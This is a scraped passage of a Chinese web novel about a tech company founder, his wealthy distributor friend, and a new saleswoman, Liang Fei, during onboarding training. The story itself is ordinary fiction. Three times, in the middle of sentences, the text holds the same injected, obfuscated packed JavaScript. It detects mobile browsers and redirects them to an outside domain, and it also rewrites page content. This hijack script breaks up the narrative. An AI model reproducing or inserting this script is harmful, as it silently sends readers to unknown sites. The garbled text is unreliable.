公司直销团队要权衡利益和规则，罗景然没有规则的束缚，事业部总经理韩华的业绩目标能不能完成还得看罗景然的脸色，罗景然占了各方面的好处又不知道收敛，由着脾气做事，在销售制度和售后服务速度和质量上几次和韩华起正面冲突，周泊言夹在两头为难。 罗景然从停车场走到国内航班的到港大厅，信息屏上显示他等待的航班已经到达，他往前凑了凑，挤到一堆举着牌子的接机里人群最前面。 人群里闷热，身上的西装穿不住，干脆脱掉，用手指勾住西装的领子搭在肩头，把西装甩在后背上，白色衬衣领口解开三粒扣子，领带被拉开歪在一边，袖子翻卷到手肘处，手腕上戴着一块深蓝表盘的百达斐丽，满面通红，一身酒气，像是刚从饭局上下来，洒脱粗豪不拘一格的气质。 周泊言推着登机箱缓步往外走，罗景然看到风尘仆仆工程师打扮的周泊言眼睛一亮，冲他挥手，周泊言很快看到了，推着登机箱的手没动，微微点了一下头算是打招呼。 罗景然笑容舒展开来迎上前去，是真高兴，调侃道：“周老板，你这一身灰头土脸从哪来，你说咱俩站在一起谁更像老板？” 周泊言笑了：“我刚远远看到你就想起你说从小就想当吕布，穿着闪亮的铠甲骑着赤兔马，拿着方天画戟，横刀立马大战群雄。” 罗景然把手腕递到周泊言面前，“这块表就是我的方天画戟，今年还买了辆好车，你说赚钱干嘛不就是花个高兴吗，反正我就一大俗人，多赚点钱多花点钱，玩得尽兴这辈子就值了。” 周泊言扫过一眼说：“你还是跟以前一样。” 罗景然说：“跟以前一样肤浅粗俗？我最烦那帮职业经理人，搞流程讲规则一套套的，什么企业文化价值观品牌影响力，净整这些不接地气的东西，做销售不就是搞清楚客户需求，给客户想要的，你品牌再好产品再牛逼，客户不想要有什么用。” 周泊言站定沉声道：“这些话在我面前说说也就算了，不着调的话少说两句能省多少麻烦，你们一个是总代，一个是事业部总经理，你们俩关系不好，让我怎么弄？” 罗景然停住脚步看了一眼周泊言说：“韩华是不是在你那说什么了？” 周泊言说：“他能说什么，你们闹得动静还不够大吗？你业绩做得好也要收敛点脾气，你的业绩就是销售团队的业绩，韩华不会故意为难你，我用的人我心里清楚。” 罗景然咬了咬牙，“我也不想跟他过不去，FSK是我多年老客户，韩华搞了个报备制度，半年就得更新报备，我们这边更新不及时就被直销团队拿走了这个客户，八千万的订单，你说我能咽下这口气吗？” 周泊言说：“你不遵守公司的制度，其他代理商看到了跟风谁拿报备当回事，你也要站在韩华的立场上考虑问题，缩短报备时间是为了确保客户有效及时的跟进，客户和销售资源的最佳匹配，你跟他过不去没有好处，这个订单你能吃下来吗？” 到了这个量级的项目，商务能力只是其中一方面的影响因素，政府关系，品牌背后的资源，行业影响力，技术方案，涉及到两个商业平台的利益最大化，这样的项目一定是多方力量的配合，团队化作战。 罗景然说：“吃不吃得下来是一回事，是我报备的客户，就得从我这下订单，现在我还得求着韩华从我这走一道。” 周泊言说：“行了，FSK项目你就别想了，下周五跟我一起去赛普电池见曾总，这个客户有项目从你这里过，我对你有三点要求：第一，你要注意对韩华的态度，保持该有的尊重；第二，遵守公司的规章制度，不要再犯错；第三，FSK这个案子上全力支持韩华和李西廷。” 罗景然这回没再说话，能让周泊言亲自出马的项目一定是战略合作项目，新能源又是这几年强势赛道，只要打开局面，今年的净利润有望突破千万，他这么多年跟着周泊言确实赚到钱了，兄弟照顾他，他也没二话。 幸好当年脑子一抽被周泊言蛊惑跟着他干了，周泊言在大学专业成绩很突出，发表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627309|172437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过某个细分赛道的核心期刊论文，几个导师抢着要他，结果一声不吭就退学了。 直到大源科技产品推向市场，周泊言找到罗景然让罗景然来做北方区总代，罗景然说为什么，说的是为什么心里想的是凭什么，你周泊言那么小的公司，代理商这工作也不够体面，他好歹是清华的高材生，兄弟是兄弟，前途是前途。 周泊言就一句话：“我保证你能赚到钱，你现在不拿这个总代会后悔。” 就这一句话打动了罗景然，周泊言确实了解罗景然，罗景然从东北小镇考上清华，父亲在他初中的时候得了癌症，最被看好最年轻的处级干部，一心扑在工作上，从高处一下子掉到谷底，什么都没了，父亲死后人情冷暖只有他自己知道，父亲在世时生活简朴清廉，母亲是家庭主妇，家里太困难了，四处借钱看人脸色的日子罗景然这辈子都不会忘记。 周泊言的大源科技发展壮大很快，罗景然乘着东风，毕业第三年开始年收入过百万，最近几年公司每年净利润超过五百万，周泊言当初说得话百分之百兑现。 走到停车场，周泊言看了一眼车，法拉利对开门的四座，FerrariPurosangue. 罗景然开了后门，周泊言扫了一眼，后排空间太小，低着头挤进去坐下腿都伸不直，“买法拉利还买四座，这品味，小米适合你，你坐副驾驶座去不要跟我挤一起。” 罗景然关上门绕到副驾驶座嘿嘿一笑：“我天天喝酒，买了法拉利也得配司机，有时候还得送客户，两座不行啊。” 周泊言伸不开腿调整了几次姿势无语道：“图什么？” 罗景然说：“你不懂我这种穷人乍富土老板的心理，Purosangue意大利语是纯种马，这车就是我的赤兔马，我一坐上这车就感觉没有客户拿不下来。” 周泊言被这说法逗乐了，“客户一看到你这车就能把订单给你？” 罗景然说：“那咱也不敢说，客户也没有靠这个做决策的，但这车一开出去，多少就知道这个代理商有点资源有点钱，心理踏实，做生意都想跟有实力的人做，周老板，大源科技百亿市值就是你的名片，这些对你来说不算什么，我们不行啊。” 周泊言说：“少给我鬼扯，供应商开这车来我只能怀疑他在我这赚多了。” 罗景然只有一个想法，周泊言和周扒皮都姓周。 车子从机场驶出进入环线，凌晨的车辆不算少，窗外霓虹闪烁，灯火阑珊处，京城夜未央。 下了环线拐入地面道路直行，绿灯倒数几秒，斜刺里穿出来一辆自行车左拐，司机紧急刹车让行，车头压在斑马线上，自行车已经拐入横向车道。 周泊言看着窗外的自行车消失在视野里忽然说：“你还记不记得梁芸？” 罗景然说：“记得啊，你们俩是不打不相识，这女人太聪明了，当年在学校论坛里，她说你的控制程序有问题，你在学校成名已久，没人相信她，都骂她别有用心，我也在论坛骂过她，她一句都不回应，过了几天放了验证推理过程上来，给出新的程序，事实证明她是对的。” 周泊言说：“可惜。” 罗景然说：“你不会还惦记着她吧？” 周泊言说：“你想哪去了。” 罗景然说：“我真是不懂你，又不好色也不贪财，你前几年忙我不劝你，年纪到了也该考虑下找个女人结婚，你庞大的商业帝国不得有人继承。” 周泊言笑了，“谢了兄弟，这几天让司机跟着我，换个商务车。” 罗景然说：“咱去喝一杯？” 周泊言说：“别整烧烤，就在酒店的行政酒廊喝一杯。”罗景然上回带他去的地方烟熏火燎的烧烤摊，油烟熏得他头疼，回来全身都一股味道。 罗景然感慨：“不吃烧烤少了多少人生乐趣。” 周泊言说：“这乐趣你留着自己享受吧。” 8. 博弈筹码 梁菲回到家把打包盒的菜收到冰箱，冰箱里有不少何香琴做得小菜，何香琴做得糖蒜特别好吃。 临睡前在手机上查了下邮件还没收到大源科技的offer，室友在微信群里讨论报名驾校的事，她没有再看群信息。 明天周五，她要回南江，周六下午她有家教，家教学生她带了两年多，每周去三个半天，女孩二十岁，身体原因不方便出门，在家里自学课程，不打算高考。 每次去四个小时，这四个小时有一大半时间陪她聊天，梁菲临近毕业跟她说以后一周只能去一次，她也爽快同意了，又说可以提高单次费用。 梁菲很感激，但没同意。 这两年里梁菲和这个家教学生更像是朋友，大量的时间用来闲聊，聊看的电影，遇到的事情，亲人好友，人生规划，天南海北的聊。 梁菲也陪她去看演唱会，话剧，音乐剧，逛奢侈品店，喝咖啡。 梁菲好像通过她看到了另一个世界，一个她完全没有接触过的世界。 说是家教，更准确地说是玩伴。 要是大源科技的面试没过她还得继续找工作，先回南江再说吧。 睡梦中有人走进房间，脚步很轻，何香琴下班回来了，她很困，没睁开眼睛，翻身沉沉睡去。 早上醒来何香琴已经做好早饭。 梁菲站在厨房门口说：“妈，昨天我打包回来的菜在冰箱里。” 何香琴说：“你跟着何楚箫去饭局打包剩菜干嘛，平白让人看轻。” 梁菲说：“我没有在饭局打包剩菜，这是老街上打包的。” 何香琴说：“少吃外面的东西，不干净。” 梁菲没有辩解：“知道了，我今天回南江。” 早饭很丰盛，何香琴做了糖米高，煎饺，熬的小米粥，梁菲吃得很饱，想到昨天那束百合花，她说：“妈，昨天有人来看过姐姐，放了一束百合花。” 何香琴说：“芸芸同学吧。” 吃完早饭，何香琴又把没吃完的打包给梁菲带走，开电动车送梁菲去火车站，一直送到进站口。 何香琴说：“妈妈就是怕你一个人在外面太辛苦。” 梁菲说：“妈，我会好好的。” 梁菲在回南江的高铁上收到了大源科技的offer，两周后入职。 大学宿舍四人，两个室友考研，一个室友回老家，只有梁菲在找工作，二本文科，又是工商管理这种宏大叙事的专业能找的工作非常少，不是销售就是采购、人事、行政等文职。 梁菲想赚钱，不可能去做文职，从一开始就锚定了销售，南江城市学院没有大企业来做校招，她跑去了隔壁高教园区，混在一群重点高校的学生里投简历。 大源科技不是她投的第一家，是她最想去的一家科技企业。 回想整个过程，她为自己感到骄傲，这是个好的开始她想。 她回复了确认邮件。 很快又收到了乔明语的微信。 「你收到offer了吗？」 「我刚刚收到了。」 她回道：「我也收到了。」 乔明语说：「太好了，大客户销售部只招两个人。」 大客户销售部？梁菲一直以为自己面试的是销售部，怎么还有个前缀大客户？只做大客户的销售吗？没有再深思，揿灭手机，心情激动，她进大公司了，第一份工作可以找到这么好的平台，她一定会好好努力的，珍惜这次机会，距离入职日期还有几天，正好可以趁这两周去找房子，学校宿舍到公司太远了，转两趟公交车一个多小时，有一班公交车晚上六点半就结束运营，她只能租房子。 她打电话问了中介费，很贵，她在社交媒体上发布了一个合租房需求，很快就有人回应，对方也在工业区上班，在公司做文职。 梁菲在线上看了房子，房子两室一厅，主卧带阳台，次卧没有阳台，在工业区附近的拆迁小区，不用交物业费，空出来的那间是次卧，她和女孩约了时间。 周六下午，她按老时间出发去做家教，家教的地点在一个别墅区，别墅区临湖，统一的新中式风格独栋带花园。 她轻车熟路的到了小区，刷脸进入小区大门，穿过中央花木景观带到别墅门口，摁了门铃。 张阿姨在可视电话里应了一声，大门缓缓向两边分开。 她进门先换鞋，张阿姨过来说：“赵萌在地下室。” 梁菲去了地下室，赵萌在大屏幕上玩游戏，王者荣耀投屏在大屏幕上。 梁菲说：“上楼吧。” 赵萌说：“等我打完这一局。” 梁菲说：“行。” 梁菲在旁边沙发坐下，看着赵萌打游戏，屏幕里传来一个熟悉女声，firstblood,anenermyhasbeenslain，热血又激情。 赵萌盯着屏幕，手上动作不停，过了会儿开口：“我跟你说过我在游戏里的朋友吗？” 梁菲说：“说过，你们认识好几年，野外随机组队认识，你俩双排胜率91%的亲密关系。” 赵萌说：“他约我见面。” 梁菲说：“你要去？” 赵萌点点头：“本来是要去的，后来我跟他说了我的情况，我们就约视频见面了。” 梁菲抿了抿唇说：“你们俩是在网恋吗？” 赵萌摇摇头：“没有，就是朋友，我不知道他真实性别，我们没有开过麦，游戏里有个皮肤设计公开征集赛，我们合作设计了一个作品，我画的图，他找人做的动画，获奖了，需要两个人的签名领奖，他说见一面，就上次给你打电话的时候。” 赵萌弯曲手指用手肘撑着沙发的一侧站起来，双腿的支撑力不足，步态不稳，上半身摇摆不定保持平衡，先跨出去一步，再挪出去一步。 梁菲没有伸手，赵萌的手臂双腿都异常纤细，显得头偏大，赵萌很少出门，医生建议她要保持一定量的运动，赵萌妈妈不让她在家里用轮椅。 赵萌摇摆着挪动到电梯，伸出一根手指按了电梯按钮，进了电梯喘着气扶着电梯内扶手。 赵萌年龄小意志却坚定，很有自己的想法，她在游戏里是101星的传奇女帝。 上课内容也是赵萌自己安排，她翻完高中课本，感兴趣或不太懂的部分让梁菲讲。 赵萌说：“你面试结果出来了吗？” 梁菲说：“我刚收到offer，下周入职。” 又和赵萌细细说了面试过程中碰到了一个关系户，她是众多候选人里唯一一个二本，她觉得自己运气很好，在众多名校精英里脱颖而出拿到offer给了她很多信心。 赵萌耐心听梁菲的面试过程，又问了其他候选人的情况，为梁菲感到高兴的同时也有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627310|172437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些担心，把被录用的原因简单的归结于运气好，梁菲在兴头上，赵萌不忍心泼冷水，静静地听完。 赵萌说：“听起来你和关系户都是破格录取。” 梁菲说：“是这样，你不知道我面试的时候多紧张，那些候选人都太强了，我也没想到我会被录取，等我发了工资先存钱考驾照。” 赵萌视线停留在梁菲的脸上，皱起眉，录取关系户很好理解，这样的大公司录用人一定有硬性标准，重点院校，留学生是标配，为什么要录用一个非重点院校的梁菲，赵萌的父亲白手起家，这些事从小到大听得不少，老天没有给她健康的身体，却给了她一双善于观察的眼睛，超强的记忆力，敏锐细腻的心思，她是家里第一个女孩，父亲生意忙却也是从小抱着疼着长大。 她看事情的角度和风格深受父亲的影响，父亲兄弟姐妹六人，家事繁杂，多年耳濡目染，对人情事理颇有一番自己的见解，她的身体状况导致她不能参与正常的社会生活，静心在家修养多年，多了几分超越年龄的通透，梁菲这几年和她无话不谈，两个人互相透过彼此的眼睛看世界，梁菲的事她难免多想一点。 她记得几年前老家亲戚送女孩来跟着父亲做销售，父亲说女孩做销售太辛苦了，漂亮女孩更辛苦，亲戚说做什么不辛苦，做销售还能赚钱，父亲不好再说什么帮忙安排了工作，赵萌不明白是什么意思，为什么漂亮女孩更辛苦，后来那亲戚和女孩来家里哭诉，客户在饭局上摸着她的脸问她有什么服务，服务得好才有订单，她从饭局上跑了，客户投诉她，说她不懂客户需求，专业水平和职业操守太差，让换销售。 梁菲没得到赵萌的回应，看了赵萌一眼，正好对上赵萌忧虑的眼神，“你在担心什么？” 赵萌没有提亲戚的事只说：“我爸爸说女孩做销售强迫你喝酒，言语间不尊重，又或者占你便宜，遇到这些事情难免。” 梁菲想何香琴也说过类似的话，“你放心吧，我会保护好自己，灵活处理，大不了不干了。” 赵萌说：“没办法只能高风亮节，只不过也放弃了本该属于你的权利，你做一个博主吧，万一的万一录音留个证据，发到网上作为一个博弈筹码。” 梁菲说：“让我想想，做个什么博主呢？公司有规定不许以公司员工身份在公共平台发言，穿搭我也不擅长。” 赵萌说：“写职场感悟？” 梁菲说：“是个好办法，我有空就写下来。” 出了电梯，赵萌在书房的转椅上坐下，又说：“你那个公司是做什么产品的？我爸爸做药代起家，做销售起步阶段最难了，没有资源没有人脉没有经验，只能去医院陌生拜访，一家家医院跑，在医院里软磨硬泡，三个月没开单差点被开除，你到时候发份资料给我，我发给我爸，你别多心，说是我小看你，行业不同未必帮得上忙，要是刚好有需要的客户，那是运气好。” 赵萌家里做生物医药，赵萌每次提起父亲都非常骄傲，说他是那种平时幽默贪玩，可爱幼稚的人，一旦家里有事又都能给解决的爸爸。 赵萌的世界给梁菲开了一扇窗，说不嫉妒赵萌是假的，但她和赵萌的差距实在太大，赵萌是幸福富有家庭的孩子，谦和有教养，为人处事大方周全。 梁菲既感动她的一番好意，又心酸这么好的女孩，老天爷未免对她太不公平，“我怎么会多心，只怕麻烦你。” 9. 花瓶和关系户 梁菲入职前搬家到大源科技附近的拆迁小区，小区不用交物业费，六层楼，没有电梯，第一层带车库，不少车库里住着老人，拿着藤椅坐在车库门口。 梁菲的室友叫宋新韵，也是外地人在南江，刚毕业两年，梁菲刚把行李搬到小区楼下，碰到宋新韵下楼，穿着T恤牛仔裤，跨着一个帆布袋，宋新韵热情地接过梁菲手里一个大行李箱，“你来了？我帮你搬。” 梁菲有两个行李箱，一个大袋子，正气喘吁吁地站在楼梯口想怎么搬上去，“你要出门？你有事先忙好了，我慢慢搬。” 宋新韵说：“我打算去买点菜，旁边有个大菜市场，先帮你搬上去。” 梁菲说：“谢谢你。” 宋新韵说：“这个拆迁小区什么人都有，你看楼下还搭着棚子，昨天办完丧事流水席还没拆掉，吵了一晚上，我昨天晚上戴着耳塞才睡着的。” 梁菲说：“没有邻居反对吗？” 宋新韵说：“住在这里的本地人就这个农村人习惯，今天你家办明天我家办，没人会站出来说的，像我们这种外地人么是图便宜住在这里的哇，站出来说么要被本地人骂的，说不定还会被打，小区好多混混，拆迁拿到一大笔钱被人做局赌博，嫖|娼，吸毒什么钱被搞走了，没钱了就住在车库里，你晚上太晚回家的话要小心点。” 梁菲点点头说：“好，还好咱们这栋楼车库里住的都是老人家。” 宋新韵说：“这个房子没有电梯，老人腿脚不方便。” 说话间已经到了三楼，梁菲额头都是汗，不由的庆幸还好是三楼，宋新韵掏出钥匙打开门把梁菲的行李放进去，“你慢慢收拾吧，我去买菜，晚上一起吃饭。” 梁菲走进去，进门左手边是卫生间和厨房，右手边是两个小房间，中间放着一张饭桌四张长凳，这种长凳还是小时候在外婆家见过，卫生间和厨房都很干净，她觉得运气很不错，室友说话爽快，热心，爱干净，会做饭，年龄相仿，她也会做饭，还可以轮流做饭。 这个房间一个月800，她的房间没有衣柜，她在网上买了一个简易衣柜还没到，就把床铺铺了，剩下的也没什么好收拾的，把洗漱用品收到卫生间，晚上宋新韵做了两菜一汤说是欢迎她这个室友，她洗了碗。 第二天一早在大源科技报道，登记后发放训练服徒步鞋，开始为期两周的培训，培训不在公司，在附近的一个度假山庄，坐三十分钟的大巴车进山，梁菲和乔明语坐一起，乔明语指着环山步道说：“刚Sue姐说培训期间每天早上要早起跑步，我跑不动。” 梁菲说：“那你怎么办？” 乔明语说：“我申请了回家住，早上就可以晚到一点，不用跑步。” 度假山庄环境很好，先是一个长条形的露天泳池，绕过去进入山庄大厅，先办理入住，人事安排梁菲和乔明语一个房间，乔明语回家住，梁菲一个人一个房间。 梁菲第一次住这么好的酒店，早上醒来的时候才五点，再也睡不着，窗外的天光一点点变亮，睁着眼睛到六点钟起床洗漱，六点二十分下楼集合开始环山跑步，六点半带队教官开始点名，点到销售部乔明语时没人应，旁边有人低声问乔明语是谁，为什么没来，梁菲正犹豫着要不要说她请假了，HrSue走上前跟教官说了几句，又拿出笔在名册上划了一下。 这个小插曲过去，教官说沿路都设有补给点，不用带水减轻自重，环山跑道有上下坡，跑了五公里左右回到酒店，大部队从停车场往大厅走，刚好乔明语开车到停车场从车上下来，梁菲落后几步跟她一起走，“吃过早饭了吗？” 乔明语说：“我在家里吃过早饭来的，你住哪个房间？我去换下衣服放点东西。”乔明语穿着自己的衣服要换成公司的训练服。 梁菲说：“305。” 乔明语说：“大客户销售部还有其他新人吗？” 梁菲说：“没有，就咱俩。” 梁菲和乔明语一起回房间，梁菲快速冲了个澡，换了身衣服，“我先去吃早饭，书桌上那张房卡留给你。” 乔明语说：“好，你吃完早饭还回房间吗？” 梁菲说：“吃完早饭直接去会议室。” 乔明语说：“好的。” 餐厅在二楼，巨大的落地窗，阳光很好，从窗户望出去正对着大门口的露天无边泳池，再远处是群山绵延，有山有水，视野极好。 自助餐很丰盛，面条窗口排着队，梁菲远远就看到了HrSue在队伍里，穿着剪裁合身的纯色套装，腰间搭着一条同色系编织细腰带，正想打个招呼，余光里看到旁边有个女孩走上来先是和Sue并肩走然后自然地插到队伍里问她：“Sue姐，为什么有些人早上可以不用跑步？” Sue说：“谁可以不用跑，不都要跑的。” 女孩说：“销售部那个开卡宴的不就是我们跑完了人家才来吗？” Sue翻了个白眼，这个乔明语搞特殊就不能低调点，净给她找事，她请假别人也可以请假，跑步可以请假，徒步培训也可以请假，大家都请假，还搞什么培训，公司定的规矩是新人必须参加培训，这让人事怎么安排工作，Sue没好气地说：“你跟她怎么比，你是罗总亲戚吗？” 女孩又问：“罗总是谁？” Sue说：“罗总都不知道，你还是老实点跑步，不要想太多，那是我们大老板同学，大源科技的总代。” 女孩哼了一声阴阳怪气地说：“关系户，难怪，这么厉害做什么销售啊。”难怪又开卡宴又可以不跑步，生怕别人不知道她家里条件好，这些关系户能不能不要来职场抢普通人的工作，不能好好在家里当公主吗，搞特殊还不知道低调看来是个草包。 Sue和女孩拿了面条走了，两个人聊得很开心都没看到梁菲，梁菲一句打招呼的话就没有说出口，拿到面条找了个位置坐下，有不少穿着训练服的人三三两两坐在一起聊天，看起来已经很熟络。 吃完早饭下到大厅，大厅里放了去会议室的指示牌，在另外一栋楼，顺着指示牌从后门走出去，有个玻璃房的吸烟室，梁菲看到刚才和Sue聊天的那个女孩和乔明语站在一起抽烟，有说有笑。 乔明语看到梁菲走过来跟她打招呼，“梁菲，我占了座，左手边倒数第二排。” 听到占座两个字梁菲笑了一下好像大家还没从学生身份转变过来说：“好。”又跟那个女孩点点头算是打招呼，女孩说：“你好，我是项目部的陈思思，一会儿我们坐一块啊。” 梁菲说：“我是销售部梁菲。” 陈思思说：“你就是梁菲啊，昨天听到有几个男生说这些新人里梁菲最好看。” 梁菲说：“没有，你们也好看啊。” 陈思思看向乔明语说：“明语，你的衣服都是从哪买的？剪裁和版型看起来很贵。” 现在几个人穿得都是训练服，乔明语早上来得时候上身是一件贴身T恤下身不规则长裙外搭一件皮衣，她是山本耀司的忠实粉丝，只要有时间就飞东京购买，她说：“山本耀司，有空一起去银座松屋扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627311|172437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 货。” 陈思思说：“他们家风格也就你穿得好看，我穿起来像1米5，不过你去东京购物叫我。” 乔明语说：“我的签证快过期了。” 陈思思亲亲热热地说：“那我们周末去逛德基？” 乔明语说：“好啊。”说完看向梁菲，“梁菲，一起去吗？” “不了，我有事。”梁菲周末有家教，她也没钱，听起来她们两个有交情，也有共同爱好，这些都让梁菲退却，殊不知自来熟是陈思思在社交场合练出来的本事，能以最快的方式拉近人和人的距离，她和乔明语今天才正儿八经说了一回话，场面上的热闹罢了。 陈思思又和乔明语开始聊德基有哪些品牌，什么风格，这些话题梁菲一个也插不上嘴，正想着先走，乔明语问：“抽烟吗？” 梁菲摇摇头，“不会。” 陈思思从口袋里拿出烟盒抽出一根递给梁菲，“干销售还能不抽烟吗？” 梁菲没接，陈思思这个动作和这句话都让她不舒服，陈思思高颧骨，下巴稍长，看起来精明老练，言语里附和着乔明语仿佛刚才在HrSue那说刻薄话的人不是她，梁菲本能不喜欢当面一套背后一套的人，她说：“公司有规定做销售一定要抽烟？” 陈思思笑了：“公司怎么会有这种规定，你碰到客户抽烟喝酒，你不得陪着，让客户高兴你的单子就好签，客户不高兴你怎么签单，做销售就是要搞关系啊，你没看到公司文化里有一条客户优先。” 大源科技企业文化的客户优先是这个意思吗？销售就是搞关系？做销售就要陪吃陪喝陪抽烟？要让客户开心，要无条件满足客户？这几天培训的大源科技经营理念，客户优先，四个这么简单的字不同的人却可以有这么不同的理解，可见企业文化不在口号，而在每个人怎么理解，怎么坚持，怎么践行，不知道直属上司是什么风格。 梁菲这一思考就没有及时反驳陈思思，她迟钝木讷的反应落在陈思思眼里，马上就被贴上了标签：花瓶，这个梁菲是乔明语的跟班，没什么主见能力也一般，跟他们也不是一个圈层的人。 反倒是旁边的乔明语没忍住，把烟掐灭双手抱胸不客气地说：“什么年代了还以为做销售就是搞关系，要是男客户心术不正要占便宜，我们这些女销售为了搞关系还得陪睡？你当我们是销售还是三陪？你可千万别说客户优先是让客户为所欲为，让人笑话，没有原则底线的销售没有人看得起的。” 陈思思被乔明语说得脸一阵白一阵红，心想这么清高做什么销售啊，还真把自己当大小姐，客户想要的你不给，有你苦头吃的，说得一套套的，你在客户和老板面前说说试试，到时候还不是得跪舔客户，要不然凭什么让客户买你的东西，走着瞧吧，一个花瓶一个关系户，气得转身就走了。 乔明语伸手揽住梁菲，“走吧，别理她。” 梁菲和乔明语还是没有坐在一起，集合后第一件事是分队，梁菲和乔明语不在一个小队，后来才知道同部门的人都打散，以小团队的形式让不同部门的新同事加强交流和联系。 分完队后，人事部门宣布了行程，第一天是以团队为单位徒步，环山线路，第一名有奖品，后面几天的行程先是企业文化、价值观宣讲，穿插一些小游戏，然后是各个部门的培训，最后是高管团队讲话和问答。 度假山庄藏在绵延山群里，徒步从山庄出发翻越群山，梁菲所在的小队是卷王，扛着队旗直奔第一名去，口号是舍我其谁，勇夺第一，让梁菲分分钟梦回大学｜运动会。 10. 游泳 梁菲这几天走到哪里都感觉背后有眼睛盯着，参加新人培训八十几个人，只有她和乔明语是大客户销售部，自然走得近些，有时候到会议室远远听到很热闹在讨论什么，她和乔明语一走进去，大家都不说话了，乔明语似乎完全没注意到这些，她怀疑自己是太敏感了，也不说什么。 乔明语白天活动结束就走，梁菲吃完晚饭在酒店外面逛了一圈，春末夏初温度适宜，露天泳池已经开放，晚上没有人，梁菲喜欢游泳，从小在永康江里游泳，看到室外泳池有种亲切感。 她没带泳衣，走到室内泳池那边的小店看到有卖泳衣，还在打折，她出门没带手机付不了钱，返身往房间方向走，在电梯口碰到徒步小队队长产品部的徐商略，徐商略说：“我还以为我最晚了，你还没去啊？” 这话前言不搭后语的，梁菲没听明白问道：“去哪？” 徐商略诧异地说：“你忘了？今天晚上陈思思请铁三角部门喝酒。” 梁菲一怔说：“你去吧，我回房间拿手机。” 电梯到了，梁菲进了电梯，陈思思邀请铁三角部门喝酒并没有请她，看来上次陈思思给她递烟她没接，关于销售不是搞关系的争论都得罪了她，梁菲苦笑了一下，不是她太敏感而是同事关系太难搞了。 梁菲心里像是压着一块石头，回到房间坐也不是，站也不是，只觉得烦躁，干脆拿上手机披上浴袍，去楼下买了一件黑色竞速泳衣，到大门口露天泳池游泳，诺大的泳池，只有她和远处的救生员。 泳池的水很满，她深吸一口气从岸边跃起跳进去，溅起无数水花，人已经游出去好远，梁菲的游泳纯自学，说不上美观和标准，游泳速度很快，憋气很厉害，不换气能一口气游一百米左右，这个泳池她一口气游了个来回没有换气，继续游了几个来回，才放慢了速度，潜在水里划动。 水里实在是安静，外面的声音变得很小很小，全身都被水温柔的包裹住，梁菲的心渐渐安定下来，像一条小鱼一样，轻轻摆动脚掌就能把自己往前推动，只需要一点点力气，在水里游得太畅快以至于没注意到泳池边有人在打电话。 周泊言从北京回到南江已经晚上八点多，第二天早上有一场对校招生的讲话，他让司机送到度假山庄，酒店行李员拿走登机箱，周泊言刚好接到韩华回过来的电话，走到露天泳池旁边按了接听。 韩华说：“周总，你给我电话？” 周泊言说：“FSK那个项目直销团队做，罗景然那边我跟他说过了，让他全力支持，你安排销售接过来。” 韩华说：“好的。” 韩华又说：“FSK有计划升级智能工厂，这个八千万的项目是他们新产品两条产线升级的小规模尝试，做好这个项目我们才有机会和FSK进行智能工厂升级的合作，这个项目对我们很重要，得让李西廷牵头。” 周泊言说：“智能工厂升级客户内部没有这么快，直销团队要做好打长期攻坚战的心理准备，你和李西廷布局决策，一些具体的工作还是让销售去执行，这样目标不会太大，放松竞争对手的警惕。” 韩华说：“好。” 周泊言说：“经销商报备制度严格执行是对的，要加强直销团队力量建设。” 韩华说：“好的，我明白。” 周泊言收了电话，天边挂着一轮明月，静夜无风，月光洒在泳池水面上，随着水波荡漾，碎成一道道涟漪，没有风怎么有水波？周泊言往泳池里看过去，好像有什么东西在水里，他离得远看不清。 他走过去从台阶上跨上池壁，正低头看过去，突然，哗啦一声，一个人头从水里冒出来，湿漉漉惨白的一张脸，黑色头发披散在后面，在月光下属实瘆人。 周泊言心脏停了一秒，不自觉往后退了两步，我操，谁在水底下游泳这么长时间不换气啊？ 待看清楚人脸，周泊言一愣，“梁菲？” 梁菲在水里憋着气，游到池壁边准备换气，听到有脚步声，还以为又有人来游泳，从水里钻出来看到一张熟悉的脸，“周泊言？你怎么在这？” 周泊言说：“这话应该我问你吧，你怎么在南江。” 梁菲怕说的谎话被拆穿，面对周泊言有一种本能的防御姿态，时刻准备捍卫自己的领地，顾左右而言他说：“啊，我过来玩，你不会以为我跟踪你吧。” 周泊言说：“我没这么自恋，大晚上你这么游泳很吓人，我在边上打电话，看到水在动还以为水里有什么东西。” 梁菲擦了擦脸上的水笑说：“你以为有什么？水鬼还是美人鱼？”看着周泊言略带惊慌的神色笑得更开心了：“我知道了，你怕水鬼。” 周泊言说：“当然怕，生意人最怕说不清楚的东西。” 梁菲说：“哇，没想到你胆子这么小。” 